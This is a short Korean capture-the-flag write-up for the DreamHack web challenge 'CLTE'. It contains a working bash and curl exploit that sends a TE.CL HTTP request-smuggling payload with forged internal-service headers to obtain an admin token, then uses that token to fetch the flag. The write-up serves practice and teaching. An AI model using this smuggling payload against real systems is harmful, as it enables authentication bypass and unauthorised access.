[DreamHack] [Web] CLTE

image.png

image.png

퍼블.

분석 나열하겠다.

아카이브(CLTE.zip) 안의 소스를 보면 플라스크 앱이 이렇게 구성되어 있다:

즉, 스머글링 탐지를 트리거하기만 하면 서버가 토큰을 직접 되돌려 주고, 그 토큰으로 /admin 에 접근해서 flag 를 받을 수 있다.

Exploit

TARGET='<http://host8.dreamhack.games:21991>'

# 1) UTC 기준 ISO 타임스탬프 만들기
TS=$(date -u '+%Y-%m-%dT%H:%M:%S')

# 2) TE.CL 페이로드 전송
PAYLOAD=$'0\\r\\n\\r\\n'\\
$'POST /internal/token HTTP/1.1\\r\\n'\\
$'Host: 127.0.0.1\\r\\n'\\
$'x-internal-service: service\\r\\n'\\
$'x-internal-sign: 0000000000000000000000000000000000000000000000000000000000000000\\r\\n'\\
$'x-request-timestamp: '"$TS"$'\\r\\n'\\
$'Content-Length: 0\\r\\n'\\
$'\\r\\n'

printf "%s" "$PAYLOAD" | \\
curl --http1.1 -sS -X POST \\
  -H 'Transfer-Encoding: chunked' \\
  --data-binary @- \\
  "$TARGET/api/backend"

위 방식으로 인증 토큰을 얻을 수 있다.

성공 시 대략 아래와 같은 방식으로 토큰이 온다.

{"token":"<64-hex>","method":"TE.CL"}

따라서, 위에서 얻은 토큰을 활용해 flag를 요청하면 된다.

TOKEN='<위에서 받은 64-hex>'
curl -sS -H "Authorization: Bearer $TOKEN" "$TARGET/admin"